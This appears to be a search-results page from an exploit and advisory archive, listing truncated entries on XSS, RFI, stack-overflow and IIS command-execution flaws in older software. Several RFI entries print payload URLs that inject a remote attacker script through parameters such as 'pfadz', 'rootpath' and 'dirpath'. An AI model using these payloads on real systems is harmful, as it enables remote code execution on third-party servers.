Fixed XSS vulnerability at www.discoverbank.com

Security researcher fubar, has submitted on 23/12/2009 a cross-site-scripting XSS vulnerability affecting www.discoverbank.com, which at the time of submission ranked 12252 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 10/03/2015. It is...

CVE-2008-7207

RivetTracker before 1.0 stores passwords in cleartext in config.php, which allows local users to discover passwords by reading config.php...

Allow Site Admin to discover restricted pages

A customer mentioned that this functionality is important to have for automation and integration purposes. Currently confluence-administrators are not able to discover restricted pages, despite of their ability to access ie. read the page if they know the url. The customer argued that "this makes...

Beatport Player 1.0.0.283 Stack Overflow

!/usr/bin/perl Beatport Player 1.0.0.283 .M3U File Stack Core Overflow ExploitSEH Work Only in WIN SP2 FR Credit to SirGod The Discover Stack The exploiter Whalna rire m3a lprogram mati khdeme hta ti chiyeb lpc :d After exec the exploit wait some sec for see the cmd executed :d use strict; use...

Beatport Player 1.0.0.283 - .m3u Local Stack Overflow (3)

Beatport Player 1.0.0.283 - .m3u Local Stack Overflow 3 !/usr/bin/perl Beatport Player 1.0.0.283 .M3U File Stack Core Overflow ExploitSEH Work Only in WIN SP2 FR Credit to SirGod The Discover Stack The exploiter Whalna rire m3a lprogram mati khdeme hta ti chiyeb lpc :d After exec the exploit wait...

Beatport Player 1.0.0.283 - '.m3u' Local Stack Overflow (3)

!/usr/bin/perl Beatport Player 1.0.0.283 .M3U File Stack Core Overflow ExploitSEH Work Only in WIN SP2 FR Credit to SirGod The Discover Stack The exploiter Whalna rire m3a lprogram mati khdeme hta ti chiyeb lpc :d After exec the exploit wait some sec for see the cmd executed :d use strict; use...

Unfixed XSS vulnerability at www.discoversaratoga.org

Security researcher bho, has submitted on 26/03/2009 a cross-site-scripting XSS vulnerability affecting www.discoversaratoga.org, which at the time of submission ranked 1049564 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 27/05/2009. It is...

Sisfo Kampus 2006 - dwoprn.php?f Arbitrary File Download

Sisfo Kampus 2006 - dwoprn.php?f Arbitrary File Download original File name : PUPET-SisfoKampus2006.txt date releases : September 10, 2007 Information : ========================= Advisory Name: Sisfo Kampus 2006 Local File Downloaded Vulnerability Author: k-one A.K.A PUPET Website vendor :...

Kaqoo Auction - install_root Multiple Remote File Inclusions

Kaqoo Auction - installroot Multiple Remote File Inclusions To ConTacT mE @ www.Asb-May.net/bb ScRiPt:-http://kaqoo.com/server/download.php GrEaTz To:-ToOofa-HaCk.eGy-Alkmadz-Bright Dark All AsB-MaY DisCoverY ExPloIts GrOup Discovered By:- ThE dE@Th Wrong Code:- includeonce"$installroot...

ZebraFeeds 1.0 (zf_path) Remote File Include Vulnerabilities

To ConTacT mE @ wWw.Asb-May.net/bb ScRiPt:-http://cazalet.org/zebrafeeds/releases/zebrafeeds-current.zip Discovered By:- ThE dE@Th AsB-MaY DiScOvEr ExPlIoTs Gr0uP aggregator.php:- requireonce$zfpath . 'includes/feed.php'; requireonce$zfpath . 'includes/view.php'; requireonce$zfpath...

smadb-rfi.txt

To ConTacT mE:wWw.Asb-May.net/bb ScRiPt:-http://people.ee.ethz.ch/dmaeder/bluevirus/downloader.php?filename=U01BLURC&referrer=hots Discovered By:- ThE dE@Th Settings.php:- includeonce$pfadz."scripts/session.php"; ExPlOiT:-http://www.Site.com/theme/settings.php?pfadz=Shell...

SMA-DB 0.3.9 - 'settings.php' Remote File Inclusion

To ConTacT mE:wWw.Asb-May.net/bb ScRiPt:-http://people.ee.ethz.ch/dmaeder/bluevirus/downloader.php?filename=U01BLURC&referrer=hots Discovered By:- ThE dE@Th Settings.php:- includeonce$pfadz."scripts/session.php"; ExPlOiT:-http://www.Site.com/theme/settings.php?pfadz=Shell milw0rm.com 2007-02-05...

CoD2: DreamStats <= 4.2 (index.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ===================================================================== CoD2: DreamStats index.php:- if !$slots include$rootpath . 'html/serveroffline.php';exit; ExPlOiT:-http://www.Site.com/PaTh/index.php?rootpath=Shell 0day.today 2018-04-0...

CoD2: DreamStats 4.2 - index.php Remote File Inclusion

CoD2: DreamStats 4.2 - index.php Remote File Inclusion ConTact Me:-wWw.Asb-May.Net ScRiPt:-http://callofduty.filefront.com/file/DreamStatsSystem;54520 Discovered By:- ThE dE@Th index.php:- if !$slots include$rootpath . 'html/serveroffline.php';exit;...

JV2 Folder Gallery 3.0 - Remote File Inclusion

Greatz to:AsB-MaY TeAm & HaCk.eGy & To0oFa ScRiPt:-http://foldergallery.jv2.net/download.php?file=foldergallery3.0.2 Discovered By:- ThE dE@Th template.php:- ExPlOiT: http://www.Site.com/JV2 Folder Gallery/gallery/theme/includemode/template.php?galleryfilesdir=Shell milw0rm.com 2007-01-31...

sitecatalyst-xss.txt

Hackers Center Security Group http://www.hackerscenter.com/ Doz's Security Advisory Desc: SiteCatalyst Web Login Cross Site Vulrnabilities Risk: Medium Omniture, Inc aims its aperture at your Web site. The company provides Internet analytic software and services to corporate customers such as AOL...

MS Windows IIS Unicode Remote Transversal Bug (4)

No description provided by source. !/usr/bin/perl See http://www.securityfocus.com/vdb/bottom.html?section=exploit&vid=1806 Very simple PERL script to execute commands on IIS Unicode vulnerable servers Use port number with SSLproxy for testing SSL sites Usage: unicodexecute2 IP:port command Only...

signkorn.txt

Signkorn Guestbook = v1.3 Multiple Remote File Include Vulnerabilities Discovred By : ThELeO ; Software : Signkorn Guestbook v 1.3 ; Dork : "Signkorn Guestbook 1.3" & "Signkorn Guestbook 1.1 " Signkorn Guestbook 1.2" Exploit : http://Www.Example.Com/Script/index.php?dirpath=U r Evil Script ;...

Ezportal/Ztml v1.0 Multiple vulnerabilities

:: Ezportal/Ztml v1.0 Multiple vulnerabilities :: ------------------------------------------------ Software : Ezportal/Ztml Website : http://www.ztml.org Bug Discover : Hessam-x / www.hessamx.net I. Multiple Cross Site Scripting Vulnerabilities -------------------------------------------------...

Hosting Controller 6.1 Hotfix 3.1 - Privilege Escalation

Hosting Controller 6.1 Hotfix 3.1 - Privilege Escalation Title: An attacker can gain reseller privileges and after that can gain admin privileges Version: 6.1 Hotfix function siteaction nact= "/hosting/addreseller.asp?htype=3" window.document.all.frm1.action = window.document.all.siteact.value +...